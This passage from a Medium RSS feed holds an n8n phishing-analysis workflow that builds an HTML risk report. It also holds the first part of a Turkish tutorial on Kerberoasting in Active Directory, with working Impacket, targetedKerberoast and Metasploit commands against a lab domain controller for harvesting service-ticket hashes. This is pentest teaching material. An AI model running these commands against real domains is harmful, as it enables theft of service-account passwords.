aiData.phishingScore)) {<br>    aiData = {<br>      model: foundModel,<br>      phishingScore: foundScore,<br>      category: foundScore &gt;= 7 ? &#39;phishing&#39; : foundScore &gt;= 4 ? &#39;suspicious&#39; : &#39;likely_safe&#39;,<br>      reasons: foundReasons,<br>      summary: foundSummary,<br>      isPhishing: foundScore &gt;= 7,<br>      _source: aiSource,<br>      _itemIndex: i<br>    };<br>    rawResponses.ai = j;<br>  }<br>}<br><br><br>urlData ??= { scannedUrl: &#39;N/A&#39;, malicious: 0, suspicious: 0, harmless: 0, undetected: 0, verdict: &#39;N/A&#39; };<br>hashData ??= { value: &#39;N/A&#39;, verdict: &#39;N/A&#39;, confidence: &#39;N/A&#39;, maliciousCount: 0, sandboxRuns: 0 };<br>sandboxData ??= { verdict: &#39;N/A&#39;, threatScore: 0, sha256: &#39;N/A&#39;, environments: [], haLink: null, malwareFamily: null };<br>aiData ??= { model: &#39;llama3.1:8b&#39;, phishingScore: 0, category: &#39;unknown&#39;, reasons: [], summary: &#39;Analiz yapılamadı&#39;, isPhishing: false };<br><br><br>let riskScore = 0;<br>let riskFactors = [];<br><br>if (urlData.malicious &gt; 0) {<br>  riskScore += 20;<br>  riskFactors.push(` ${urlData.malicious} zararlı URL`);<br>}<br>if (hashData.verdict === &#39;malicious&#39;) {<br>  riskScore += 20;<br>  riskFactors.push(&#39; Zararlı dosya hash\&#39;i&#39;);<br>}<br>if (sandboxData.verdict === &#39;malicious&#39;) {<br>  riskScore += 20;<br>  riskFactors.push(&#39; Sandbox zararlı davranış&#39;);<br>}<br>if (aiData.phishingScore &gt;= 7) {<br>  riskScore += 15;<br>  riskFactors.push(` AI phishing skoru: ${aiData.phishingScore}/10`);<br>}<br><br>riskScore = Math.min(riskScore, 100);<br><br>let riskLevel = &#39;DÜŞÜK&#39;, riskEmoji = &#39;&#39;, riskColor = &#39;#2ed573&#39;;<br>if (riskScore &gt;= 70) {<br>  riskLevel = &#39;KRİTİK&#39;; riskEmoji = &#39;&#39;; riskColor = &#39;#ff0040&#39;;<br>} else if (riskScore &gt;= 50) {<br>  riskLevel = &#39;YÜKSEK&#39;; riskEmoji = &#39;&#39;; riskColor = &#39;#ff4757&#39;;<br>} else if (riskScore &gt;= 30) {<br>  riskLevel = &#39;ORTA&#39;; riskEmoji = &#39;&#39;; riskColor = &#39;#ffa502&#39;;<br>}<br><br>// ---------------- OUTPUT ----------------<br>return [{<br>  json: {<br>    reportId: `PHI-${Date.now()}`,<br>    generatedAt: new Date().toLocaleString(&#39;tr-TR&#39;),<br><br>    risk: {<br>      score: riskScore,<br>      level: riskLevel,<br>      emoji: riskEmoji,<br>      color: riskColor,<br>      factors: riskFactors<br>    },<br><br>    url: urlData,<br>    hash: hashData,<br>    sandbox: sandboxData,<br>    ai: aiData,<br><br>    _debug: debugAI,<br>    rawResponses<br>  }<br>}];</pre><p>35. Code Node</p><pre><br><br>const data = $input.first().json;<br><br><br>let riskClass = &#39;dusuk&#39;;<br>if (data.risk.score &gt;= 70) riskClass = &#39;kritik&#39;;<br>else if (data.risk.score &gt;= 50) riskClass = &#39;yuksek&#39;;<br>else if (data.risk.score &gt;= 30) riskClass = &#39;orta&#39;;<br><br><br>let factorsHtml = &#39;&#39;;<br>if (data.risk.factors &amp;&amp; data.risk.factors.length &gt; 0) {<br>  data.risk.factors.forEach(factor =&gt; {<br>    factorsHtml += `&lt;div class=&quot;risk-factor-item&quot;&gt;${factor}&lt;/div&gt;`;<br>  });<br>} else {<br>  factorsHtml = &#39;&lt;div class=&quot;risk-factor-item no-risk&quot;&gt; Belirgin tehdit tespit edilmedi&lt;/div&gt;&#39;;<br>}<br><br><br>let aiReasonsHtml = &#39;&#39;;<br>if (data.ai &amp;&amp; data.ai.reasons &amp;&amp; data.ai.reasons.length &gt; 0) {<br>  data.ai.reasons.forEach(reason =&gt; {<br>    aiReasonsHtml += `&lt;div class=&quot;ai-reason-item&quot;&gt;&lt;span class=&quot;ai-reason-bullet&quot;&gt;⚠&lt;/span&gt;&lt;span&gt;${reason}&lt;/span&gt;&lt;/div&gt;`;<br>  });<br>}<br><br><br>let aiSummaryHtml = &#39;&#39;;<br>if (data.ai &amp;&amp; data.ai.summary &amp;&amp; data.ai.summary !== &#39;Analiz yapılamadı&#39;) {<br>  aiSummaryHtml = `<br>    &lt;div class=&quot;ai-summary&quot;&gt;<br>      &lt;div class=&quot;summary-label&quot;&gt;📝 AI Özeti:&lt;/div&gt;<br>      &lt;div class=&quot;summary-text&quot;&gt;${data.ai.summary}&lt;/div&gt;<br>    &lt;/div&gt;<br>  `;<br>}<br><br><br>const getVerdictClass = (verdict) =&gt; {<br>  if (verdict === &#39;malicious&#39;) return &#39;verdict-malicious&#39;;<br>  if (verdict === &#39;suspicious&#39;) return &#39;verdict-suspicious&#39;;<br>  return &#39;verdict-clean&#39;;<br>};<br><br><br>const getThreatClass = (score) =&gt; {<br>  if (score &gt;= 70) return &#39;danger&#39;;<br>  if (score &gt;= 40) return &#39;warning&#39;;<br>  return &#39;success&#39;;<br>};<br><br><br>const getPhishingClass = (score) =&gt; {<br>  if (score &gt;= 7) return &#39;danger&#39;;<br>  if (score &gt;= 5) return &#39;warning&#39;;<br>  return &#39;success&#39;;<br>};<br><br><br>const safeAI = data.ai || {};<br>const aiPhishingScore = safeAI.phishingScore || 0;<br>const aiModel = safeAI.model || &#39;llama3.1:8b&#39;;<br>const aiIsPhishing = safeAI.isPhishing || false;<br><br>const html = `&lt;!DOCTYPE html&gt;<br>&lt;html lang=&quot;tr&quot;&gt;<br>&lt;head&gt;<br>  &lt;meta charset=&quot;UTF-8&quot;&gt;<br>  &lt;style&gt;<br>    @page { size: A4; margin: 0; }<br>    * { margin: 0; padding: 0; box-sizing: border-box; }<br>    <br>    body {<br>      font-family: &#39;Segoe UI&#39;, Tahoma, sans-serif;<br>      background: linear-gradient(135deg, #0a0a0f 0%, #1a1a2e 100%);<br>      color: #e4e4e7;<br>      min-height: 100vh;<br>      padding: 40px;<br>      line-height: 1.6;<br>    }<br>    <br>    .container {<br>      background: rgba(20, 20, 30, 0.95);<br>      border-radius: 24px;<br>      border: 1px solid rgba(0, 255, 242, 0.2);<br>      overflow: hidden;<br>      box-shadow: 0 25px 80px rgba(0, 0, 0, 0.5);<br>    }<br>    <br>    .header {<br>      background: linear-gradient(135deg, #0f0f1a 0%, #1a1a2e 100%);<br>      padding: 40px;<br>      text-align: center;<br>      border-bottom: 2px solid rgba(0, 255, 242, 0.3);<br>      position: relative;<br>    }<br>    <br>    .header::before {<br>      content: &#39;&#39;;<br>      position: absolute;<br>      top: 0; left: 0; right: 0;<br>      height: 4px;<br>      background: linear-gradient(90deg, #00fff2, #ff00ff, #00fff2);<br>    }<br>    <br>    .logo {<br>      font-size: 32px;<br>      font-weight: 800;<br>      background: linear-gradient(135deg, #00fff2, #ff00ff);<br>      -webkit-background-clip: text;<br>      -webkit-text-fill-color: transparent;<br>      margin-bottom: 8px;<br>    }<br>    <br>    .subtitle { color: #71717a; font-size: 14px; letter-spacing: 2px; text-transform: uppercase; }<br>    <br>    .report-meta {<br>      display: flex;<br>      justify-content: center;<br>      gap: 24px;<br>      margin-top: 20px;<br>    }<br>    <br>    .meta-item {<br>      background: rgba(0, 255, 242, 0.1);<br>      border: 1px solid rgba(0, 255, 242, 0.2);<br>      padding: 8px 20px;<br>      border-radius: 30px;<br>      font-size: 12px;<br>      color: #00fff2;<br>    }<br>    <br>    .risk-banner {<br>      margin: 32px 40px;<br>      padding: 40px;<br>      border-radius: 20px;<br>      text-align: center;<br>    }<br>    <br>    .risk-banner.kritik { background: linear-gradient(135deg, rgba(255,0,64,0.2), rgba(255,0,64,0.05)); border: 2px solid #ff0040; }<br>    .risk-banner.yuksek { background: linear-gradient(135deg, rgba(255,71,87,0.2), rgba(255,71,87,0.05)); border: 2px solid #ff4757; }<br>    .risk-banner.orta { background: linear-gradient(135deg, rgba(255,165,2,0.2), rgba(255,165,2,0.05)); border: 2px solid #ffa502; }<br>    .risk-banner.dusuk { background: linear-gradient(135deg, rgba(46,213,115,0.2), rgba(46,213,115,0.05)); border: 2px solid #2ed573; }<br>    <br>    .risk-emoji { font-size: 56px; margin-bottom: 16px; }<br>    <br>    .risk-level { font-size: 42px; font-weight: 800; letter-spacing: 6px; margin-bottom: 8px; }<br>    .risk-banner.kritik .risk-level { color: #ff0040; }<br>    .risk-banner.yuksek .risk-level { color: #ff4757; }<br>    .risk-banner.orta .risk-level { color: #ffa502; }<br>    .risk-banner.dusuk .risk-level { color: #2ed573; }<br>    <br>    .risk-score-display { font-size: 18px; color: #a1a1aa; }<br>    .risk-score-display span { font-weight: 700; font-size: 24px; }<br>    .risk-banner.kritik .risk-score-display span { color: #ff0040; }<br>    .risk-banner.yuksek .risk-score-display span { color: #ff4757; }<br>    .risk-banner.orta .risk-score-display span { color: #ffa502; }<br>    .risk-banner.dusuk .risk-score-display span { color: #2ed573; }<br>    <br>    .risk-progress {<br>      width: 80%; max-width: 400px; height: 12px;<br>      background: rgba(255,255,255,0.1);<br>      border-radius: 6px;<br>      margin: 20px auto 0;<br>      overflow: hidden;<br>    }<br>    <br>    .risk-progress-fill { height: 100%; border-radius: 6px; }<br>    .risk-banner.kritik .risk-progress-fill { background: linear-gradient(90deg, #ff0040, #ff4757); }<br>    .risk-banner.yuksek .risk-progress-fill { background: linear-gradient(90deg, #ff4757, #ff6b81); }<br>    .risk-banner.orta .risk-progress-fill { background: linear-gradient(90deg, #ffa502, #ffcc00); }<br>    .risk-banner.dusuk .risk-progress-fill { background: linear-gradient(90deg, #2ed573, #7bed9f); }<br>    <br>    .risk-factors {<br>      margin: 0 40px 32px;<br>      background: rgba(15, 15, 25, 0.8);<br>      border: 1px solid rgba(255,255,255,0.1);<br>      border-radius: 16px;<br>      padding: 28px;<br>    }<br>    <br>    .section-title {<br>      display: flex;<br>      align-items: center;<br>      gap: 12px;<br>      font-size: 16px;<br>      font-weight: 700;<br>      margin-bottom: 20px;<br>      padding-bottom: 12px;<br>      border-bottom: 1px solid rgba(255,255,255,0.1);<br>    }<br>    <br>    .section-icon {<br>      width: 36px; height: 36px;<br>      background: linear-gradient(135deg, #00fff2, #0088ff);<br>      border-radius: 10px;<br>      display: flex;<br>      align-items: center;<br>      justify-content: center;<br>      font-size: 18px;<br>    }<br>    <br>    .risk-factor-item {<br>      padding: 14px 18px;<br>      background: rgba(255, 71, 87, 0.08);<br>      border-left: 4px solid #ff4757;<br>      border-radius: 0 10px 10px 0;<br>      margin-bottom: 10px;<br>      font-size: 14px;<br>    }<br>    <br>    .risk-factor-item.no-risk {<br>      background: rgba(46, 213, 115, 0.08);<br>      border-left-color: #2ed573;<br>      color: #2ed573;<br>    }<br>    <br>    .analysis-grid {<br>      display: grid;<br>      grid-template-columns: repeat(2, 1fr);<br>      gap: 24px;<br>      margin: 0 40px 32px;<br>    }<br>    <br>    .analysis-card {<br>      background: rgba(15, 15, 25, 0.8);<br>      border: 1px solid rgba(255,255,255,0.1);<br>      border-radius: 16px;<br>      overflow: hidden;<br>    }<br>    <br>    .card-header {<br>      display: flex;<br>      align-items: center;<br>      gap: 12px;<br>      padding: 20px 24px;<br>      background: rgba(0,0,0,0.3);<br>      border-bottom: 1px solid rgba(255,255,255,0.05);<br>    }<br>    <br>    .card-icon {<br>      width: 42px; height: 42px;<br>      border-radius: 12px;<br>      display: flex;<br>      align-items: center;<br>      justify-content: center;<br>      font-size: 20px;<br>    }<br>    <br>    .card-icon.url { background: linear-gradient(135deg, #00fff2, #0088ff); }<br>    .card-icon.hash { background: linear-gradient(135deg, #ff00ff, #8b00ff); }<br>    .card-icon.sandbox { background: linear-gradient(135deg, #ff4757, #ff6b81); }<br>    .card-icon.ai { background: linear-gradient(135deg, #ffa502, #ffcc00); }<br>    <br>    .card-title { font-size: 15px; font-weight: 600; }<br>    .card-subtitle { font-size: 11px; color: #71717a; margin-top: 2px; }<br>    .card-body { padding: 24px; }<br>    <br>    .stats-row {<br>      display: grid;<br>      grid-template-columns: repeat(2, 1fr);<br>      gap: 16px;<br>    }<br>    <br>    .stat-box {<br>      background: rgba(0,0,0,0.3);<br>      border-radius: 12px;<br>      padding: 16px;<br>      text-align: center;<br>    }<br>    <br>    .stat-label {<br>      font-size: 11px;<br>      color: #71717a;<br>      text-transform: uppercase;<br>      letter-spacing: 1px;<br>      margin-bottom: 6px;<br>    }<br>    <br>    .stat-value { font-size: 28px; font-weight: 700; }<br>    .stat-value.danger { color: #ff4757; }<br>    .stat-value.warning { color: #ffa502; }<br>    .stat-value.success { color: #2ed573; }<br>    .stat-value.info { color: #00fff2; }<br>    <br>    .verdict-badge {<br>      display: inline-block;<br>      padding: 8px 20px;<br>      border-radius: 25px;<br>      font-size: 12px;<br>      font-weight: 700;<br>      text-transform: uppercase;<br>      letter-spacing: 1px;<br>    }<br>    <br>    .verdict-malicious { background: rgba(255,71,87,0.2); color: #ff4757; border: 2px solid rgba(255,71,87,0.4); }<br>    .verdict-suspicious { background: rgba(255,165,2,0.2); color: #ffa502; border: 2px solid rgba(255,165,2,0.4); }<br>    .verdict-clean { background: rgba(46,213,115,0.2); color: #2ed573; border: 2px solid rgba(46,213,115,0.4); }<br>    <br>    .hash-box {<br>      background: rgba(0,0,0,0.4);<br>      border: 1px solid rgba(255,255,255,0.1);<br>      border-radius: 10px;<br>      padding: 14px 18px;<br>      margin-top: 16px;<br>      font-family: monospace;<br>      font-size: 10px;<br>      color: #a1a1aa;<br>      word-break: break-all;<br>    }<br>    <br>    .hash-label { color: #00fff2; font-weight: 600; margin-right: 8px; }<br>    <br>    .ai-reasons { margin-top: 20px; }<br>    <br>    .ai-reason-item {<br>      display: flex;<br>      align-items: flex-start;<br>      gap: 12px;<br>      padding: 12px 16px;<br>      background: rgba(255,165,2,0.08);<br>      border-radius: 10px;<br>      margin-bottom: 8px;<br>      font-size: 13px;<br>    }<br>    <br>    .ai-reason-bullet { color: #ffa502; font-size: 16px; }<br>    <br>    .ai-summary {<br>      margin-top: 16px;<br>      padding: 16px;<br>      background: rgba(0,255,242,0.05);<br>      border: 1px solid rgba(0,255,242,0.2);<br>      border-radius: 10px;<br>    }<br>    <br>    .summary-label {<br>      color: #00fff2;<br>      font-weight: 600;<br>      font-size: 12px;<br>      margin-bottom: 8px;<br>    }<br>    <br>    .summary-text {<br>      color: #e4e4e7;<br>      font-size: 13px;<br>      line-height: 1.6;<br>    }<br>    <br>    .threat-bar {<br>      width: 100%; height: 8px;<br>      background: rgba(255,255,255,0.1);<br>      border-radius: 4px;<br>      margin-top: 8px;<br>      overflow: hidden;<br>    }<br>    <br>    .threat-fill { height: 100%; border-radius: 4px; }<br>    .threat-fill.danger { background: linear-gradient(90deg, #ff4757, #ff0040); }<br>    .threat-fill.warning { background: linear-gradient(90deg, #ffa502, #ff6b00); }<br>    .threat-fill.success { background: linear-gradient(90deg, #2ed573, #00d26a); }<br>    <br>    .footer {<br>      text-align: center;<br>      padding: 32px 40px;<br>      border-top: 1px solid rgba(255,255,255,0.1);<br>      background: rgba(0,0,0,0.2);<br>    }<br>    <br>    .footer-text { color: #52525b; font-size: 12px; }<br>    .footer-brand { color: #00fff2; font-weight: 600; }<br>    <br>    @media print {<br>      body { padding: 20px; }<br>      .container { box-shadow: none; }<br>    }<br>  &lt;/style&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>  &lt;div class=&quot;container&quot;&gt;<br>    <br>    &lt;div class=&quot;header&quot;&gt;<br>      &lt;div class=&quot;logo&quot;&gt; PHISHING ANALYZER&lt;/div&gt;<br>      &lt;div class=&quot;subtitle&quot;&gt;E-posta Güvenlik Analiz Raporu&lt;/div&gt;<br>      &lt;div class=&quot;report-meta&quot;&gt;<br>        &lt;div class=&quot;meta-item&quot;&gt; ${data.reportId}&lt;/div&gt;<br>        &lt;div class=&quot;meta-item&quot;&gt; ${data.generatedAt}&lt;/div&gt;<br>      &lt;/div&gt;<br>    &lt;/div&gt;<br>    <br>    &lt;div class=&quot;risk-banner ${riskClass}&quot;&gt;<br>      &lt;div class=&quot;risk-emoji&quot;&gt;${data.risk.emoji}&lt;/div&gt;<br>      &lt;div class=&quot;risk-level&quot;&gt;${data.risk.level}&lt;/div&gt;<br>      &lt;div class=&quot;risk-score-display&quot;&gt;Risk Skoru: &lt;span&gt;${data.risk.score}&lt;/span&gt; / 100&lt;/div&gt;<br>      &lt;div class=&quot;risk-progress&quot;&gt;<br>        &lt;div class=&quot;risk-progress-fill&quot; style=&quot;width: ${data.risk.score}%&quot;&gt;&lt;/div&gt;<br>      &lt;/div&gt;<br>    &lt;/div&gt;<br>    <br>    &lt;div class=&quot;risk-factors&quot;&gt;<br>      &lt;div class=&quot;section-title&quot;&gt;<br>        &lt;div class=&quot;section-icon&quot;&gt;⚠&lt;/div&gt;<br>        Tespit Edilen Tehditler<br>      &lt;/div&gt;<br>      ${factorsHtml}<br>    &lt;/div&gt;<br>    <br>    &lt;div class=&quot;analysis-grid&quot;&gt;<br>      <br>      &lt;div class=&quot;analysis-card&quot;&gt;<br>        &lt;div class=&quot;card-header&quot;&gt;<br>          &lt;div class=&quot;card-icon url&quot;&gt;&lt;/div&gt;<br>          &lt;div&gt;<br>            &lt;div class=&quot;card-title&quot;&gt;URL Analizi&lt;/div&gt;<br>            &lt;div class=&quot;card-subtitle&quot;&gt;VirusTotal&lt;/div&gt;<br>          &lt;/div&gt;<br>        &lt;/div&gt;<br>        &lt;div class=&quot;card-body&quot;&gt;<br>          &lt;div class=&quot;stats-row&quot;&gt;<br>            &lt;div class=&quot;stat-box&quot;&gt;<br>              &lt;div class=&quot;stat-label&quot;&gt;Zararlı&lt;/div&gt;<br>              &lt;div class=&quot;stat-value ${data.url.malicious &gt; 0 ? &#39;danger&#39; : &#39;success&#39;}&quot;&gt;${data.url.malicious}&lt;/div&gt;<br>            &lt;/div&gt;<br>            &lt;div class=&quot;stat-box&quot;&gt;<br>              &lt;div class=&quot;stat-label&quot;&gt;Şüpheli&lt;/div&gt;<br>              &lt;div class=&quot;stat-value ${data.url.suspicious &gt; 0 ? &#39;warning&#39; : &#39;success&#39;}&quot;&gt;${data.url.suspicious}&lt;/div&gt;<br>            &lt;/div&gt;<br>          &lt;/div&gt;<br>          &lt;div style=&quot;text-align: center; margin-top: 16px;&quot;&gt;<br>            &lt;span class=&quot;verdict-badge ${getVerdictClass(data.url.verdict)}&quot;&gt;${data.url.verdict}&lt;/span&gt;<br>          &lt;/div&gt;<br>        &lt;/div&gt;<br>      &lt;/div&gt;<br>      <br>      &lt;div class=&quot;analysis-card&quot;&gt;<br>        &lt;div class=&quot;card-header&quot;&gt;<br>          &lt;div class=&quot;card-icon hash&quot;&gt;&lt;/div&gt;<br>          &lt;div&gt;<br>            &lt;div class=&quot;card-title&quot;&gt;Hash Analizi&lt;/div&gt;<br>            &lt;div class=&quot;card-subtitle&quot;&gt;Hybrid Analysis&lt;/div&gt;<br>          &lt;/div&gt;<br>        &lt;/div&gt;<br>        &lt;div class=&quot;card-body&quot;&gt;<br>          &lt;div class=&quot;stats-row&quot;&gt;<br>            &lt;div class=&quot;stat-box&quot;&gt;<br>              &lt;div class=&quot;stat-label&quot;&gt;Sonuç&lt;/div&gt;<br>              &lt;span class=&quot;verdict-badge ${getVerdictClass(data.hash.verdict)}&quot;&gt;${data.hash.verdict}&lt;/span&gt;<br>            &lt;/div&gt;<br>            &lt;div class=&quot;stat-box&quot;&gt;<br>              &lt;div class=&quot;stat-label&quot;&gt;Güvenilirlik&lt;/div&gt;<br>              &lt;div class=&quot;stat-value info&quot;&gt;${data.hash.confidence}&lt;/div&gt;<br>            &lt;/div&gt;<br>          &lt;/div&gt;<br>          &lt;div class=&quot;hash-box&quot;&gt;<br>            &lt;span class=&quot;hash-label&quot;&gt;SHA256:&lt;/span&gt;${data.hash.value}<br>          &lt;/div&gt;<br>        &lt;/div&gt;<br>      &lt;/div&gt;<br>      <br>      &lt;div class=&quot;analysis-card&quot;&gt;<br>        &lt;div class=&quot;card-header&quot;&gt;<br>          &lt;div class=&quot;card-icon sandbox&quot;&gt;&lt;/div&gt;<br>          &lt;div&gt;<br>            &lt;div class=&quot;card-title&quot;&gt;Sandbox Analizi&lt;/div&gt;<br>            &lt;div class=&quot;card-subtitle&quot;&gt;Dinamik Analiz&lt;/div&gt;<br>          &lt;/div&gt;<br>        &lt;/div&gt;<br>        &lt;div class=&quot;card-body&quot;&gt;<br>          &lt;div class=&quot;stats-row&quot;&gt;<br>            &lt;div class=&quot;stat-box&quot;&gt;<br>              &lt;div class=&quot;stat-label&quot;&gt;Sonuç&lt;/div&gt;<br>              &lt;span class=&quot;verdict-badge ${getVerdictClass(data.sandbox.verdict)}&quot;&gt;${data.sandbox.verdict}&lt;/span&gt;<br>            &lt;/div&gt;<br>            &lt;div class=&quot;stat-box&quot;&gt;<br>              &lt;div class=&quot;stat-label&quot;&gt;Tehdit Skoru&lt;/div&gt;<br>              &lt;div class=&quot;stat-value ${getThreatClass(data.sandbox.threatScore)}&quot;&gt;${data.sandbox.threatScore}/100&lt;/div&gt;<br>              &lt;div class=&quot;threat-bar&quot;&gt;<br>                &lt;div class=&quot;threat-fill ${getThreatClass(data.sandbox.threatScore)}&quot; style=&quot;width: ${data.sandbox.threatScore}%&quot;&gt;&lt;/div&gt;<br>              &lt;/div&gt;<br>            &lt;/div&gt;<br>          &lt;/div&gt;<br>        &lt;/div&gt;<br>      &lt;/div&gt;<br>      <br>      &lt;div class=&quot;analysis-card&quot;&gt;<br>        &lt;div class=&quot;card-header&quot;&gt;<br>          &lt;div class=&quot;card-icon ai&quot;&gt;&lt;/div&gt;<br>          &lt;div&gt;<br>            &lt;div class=&quot;card-title&quot;&gt;AI Analizi&lt;/div&gt;<br>            &lt;div class=&quot;card-subtitle&quot;&gt;${aiModel}&lt;/div&gt;<br>          &lt;/div&gt;<br>        &lt;/div&gt;<br>        &lt;div class=&quot;card-body&quot;&gt;<br>          &lt;div class=&quot;stats-row&quot;&gt;<br>            &lt;div class=&quot;stat-box&quot;&gt;<br>              &lt;div class=&quot;stat-label&quot;&gt;Phishing Skoru&lt;/div&gt;<br>              &lt;div class=&quot;stat-value ${getPhishingClass(aiPhishingScore)}&quot;&gt;${aiPhishingScore}/10&lt;/div&gt;<br>              &lt;div class=&quot;threat-bar&quot;&gt;<br>                &lt;div class=&quot;threat-fill ${getPhishingClass(aiPhishingScore)}&quot; style=&quot;width: ${aiPhishingScore * 10}%&quot;&gt;&lt;/div&gt;<br>              &lt;/div&gt;<br>            &lt;/div&gt;<br>            &lt;div class=&quot;stat-box&quot;&gt;<br>              &lt;div class=&quot;stat-label&quot;&gt;Phishing&lt;/div&gt;<br>              &lt;span class=&quot;verdict-badge ${aiIsPhishing ? &#39;verdict-malicious&#39; : &#39;verdict-clean&#39;}&quot;&gt;${aiIsPhishing ? &#39;EVET&#39; : &#39;HAYIR&#39;}&lt;/span&gt;<br>            &lt;/div&gt;<br>          &lt;/div&gt;<br>          ${aiReasonsHtml ? &#39;&lt;div class=&quot;ai-reasons&quot;&gt;&#39; + aiReasonsHtml + &#39;&lt;/div&gt;&#39; : &#39;&#39;}<br>          ${aiSummaryHtml}<br>        &lt;/div&gt;<br>      &lt;/div&gt;<br>      <br>    &lt;/div&gt;<br>    <br>    &lt;div class=&quot;footer&quot;&gt;<br>      &lt;div class=&quot;footer-text&quot;&gt;Bu rapor otomatik olarak oluşturulmuştur • &lt;span class=&quot;footer-brand&quot;&gt;Phishing Analyzer&lt;/span&gt;&lt;/div&gt;<br>    &lt;/div&gt;<br>    <br>  &lt;/div&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;`;<br><br>return [{<br>  json: {<br>    html: html,<br>    ...data<br>  }<br>}];</pre><p>35. Code Node</p><pre><br><br>const items = $input.all();<br><br><br>let html = null;<br>let reportId = &#39;report&#39;;<br><br>for (const item of items) {<br>  if (item.json?.html) {<br>    html = item.json.html;<br>    reportId = item.json.reportId || reportId;<br>    break;<br>  }<br>}<br><br>if (!html) {<br>  const debugInfo = JSON.stringify(items[0]?.json || {}, null, 2).substring(0, 500);<br>  throw new Error(`HTML not found!\nData: ${debugInfo}`);<br>}<br><br><br>return [<br>  {<br>    json: {<br>      reportId: reportId,<br>      success: true<br>    },<br>    binary: {<br>      files: {<br>        data: Buffer.from(html, &#39;utf-8&#39;).toString(&#39;base64&#39;),<br>        mimeType: &#39;text/html&#39;,<br>        fileName: &#39;index.html&#39;,<br>        fileExtension: &#39;html&#39;<br>      }<br>    }<br>  }<br>];</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tf0rJZ6A2HahOhJDraiTtQ.png" /></figure><p>GUI</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GzQN1l8rkBIj60-u_wXHIg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5XqHoB_QdtcwoxYDGAisSw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2db4dbf83e99" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Active Directory’de Kerberoasting Saldırısı]]></title>
            <link>https://medium.com/@mustafagurkankarakaya/active-directoryde-kerberoasting-sald%C4%B1r%C4%B1s%C4%B1-7ce573fc023a?source=rss-befaf90d3d95------2</link>
            <guid isPermaLink="false">https://medium.com/p/7ce573fc023a</guid>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[pentest]]></category>
            <category><![CDATA[kerberoasting]]></category>
            <dc:creator><![CDATA[Mustafa Gürkan Karakaya]]></dc:creator>
            <pubDate>Thu, 13 Nov 2025 10:50:27 GMT</pubDate>
            <atom:updated>2025-11-13T10:50:27.511Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*blLVhUYNbLqfxCGGbhle5Q.png" /></figure><blockquote>Kerberoasting, saldırganın Active Directory içindeki <strong>service account</strong>’lara ait Kerberos service ticket’larını (TGS) toplayıp bu ticket’ların şifrelenmiş bölümünü <strong>çevrimdışı</strong> kırarak (hash → parola) servis hesabı parolalarını elde etmeye çalıştığı bir post-exploitation saldırısıdır.</blockquote><p><strong>TGT ve TGS kavramı:</strong></p><ul><li>Kullanıcı önce DC’den bir <strong>TGT (Ticket Granting Ticket)</strong> alır. Bu TGT ile belirli bir hizmet (ör. SQL, HTTP) için <strong>TGS (service) ticket</strong> istenir.</li></ul><p><strong>SPN (Service Principal Name):</strong></p><ul><li>Her hizmet örneği bir SPN ile tanımlanır ve SPN en az bir <strong>hizmet hesabı</strong> (service account) ile ilişkilidir. Bir SPN varsa, herhangi bir doğrulanmış domain kullanıcısı bu SPN için ticket talep edebilir.</li></ul><p><strong>Ticket’in şifrelenmesi:</strong></p><ul><li>Domain Controller, TGS’i oluştururken ticket içindeki “service kısmını” hedef hizmet hesabının <strong>parola anahtarıyla</strong> (service account’un hashi) şifreler. Bu yüzden ticket’ın şifrelenmiş kısmı, aslında hedef parola ile ilişkilidir — ve bu kısım offline kırılmaya uygundur.</li></ul><h3>Saldırı Adımları</h3><ol><li><em>Ağa normal bir kullanıcı hesabıyla erişim sağlanır (ilk erişim).</em></li><li><em>Domain içindeki SPN’ler sorgulanır; hedef olabilecek service account’lar belirlenir (SPN’li hesaplar hedef).</em></li><li><em>Hedef SPN için Domain Controller’dan TGS talep edilir — DC, ticket’ı ilgili hizmet hesabının parolasıyla şifreleyip verir. (Burada </em><strong><em>herhangi bir doğrulanmış kullanıcı</em></strong><em> ticket talep edebilir.)</em></li><li><em>Saldırgan bu şifrelenmiş ticket’ı alır, çevrimdışı kırma (brute/wordlist/sözlük) ile ticket’ın şifresini elde etmeye çalışır — başarılı olursa hizmet hesabının parolası açığa çıkar. (Çevrimdışı olduğu için ağ üzerinde anlık izlenmesi zordur.)</em></li></ol><p><strong>Kullanılan Araçlar</strong></p><ul><li>Impacket-GetNPUsers</li><li>targetedKerberoast</li><li>Metasploit</li><li>Rubeus</li><li>Windows PowerShell — Kerberoast</li></ul><p>AD üzerinde bir kullanıya spn atayalım:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*DUEONsFmjudWcE50Kb8nTg.png" /></figure><p>Spn atadığımız kullanıcının kontrolü:</p><pre>Get-ADUser -LDAPFilter &quot;(servicePrincipalName=*)&quot; -Properties ServicePrincipalName |<br>  Select-Object Name, SamAccountName, ServicePrincipalName</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GqgvN-4qpVh7w8c-oigcSQ.png" /></figure><p><strong>getuserspn ile hashin alınması (Impacket)</strong></p><pre>python3 getuserspn.py -request -dc-ip 192.168.93.132 gurkan/test:Password1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ELD6YIPF_yaCHpN7SEy9Jg.png" /></figure><p><strong>targetedKerberoast ile hashin alınması</strong></p><pre>./targetedKerberoast.py --dc-ip &#39;192.168.93.132&#39; -v -d &#39;GURKAN.com&#39; -u &#39;test&#39; -p &#39;Password1&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CQwq9LIx4bpGKgva1Z2vCA.png" /></figure><p><strong>Metasploit ile SPN hesapların tespiti ve hashin alınması</strong></p><pre>use auxiliary/gather/get_user_spns<br>set rhosts 192.168.93.132<br>set domain GURKAN.com<br>set user test<br>set pass Password1<br>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EJiaJuw0D7U43V3TO74ESw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WYK6faf0xtcwgOTBrVV0Nw.png" 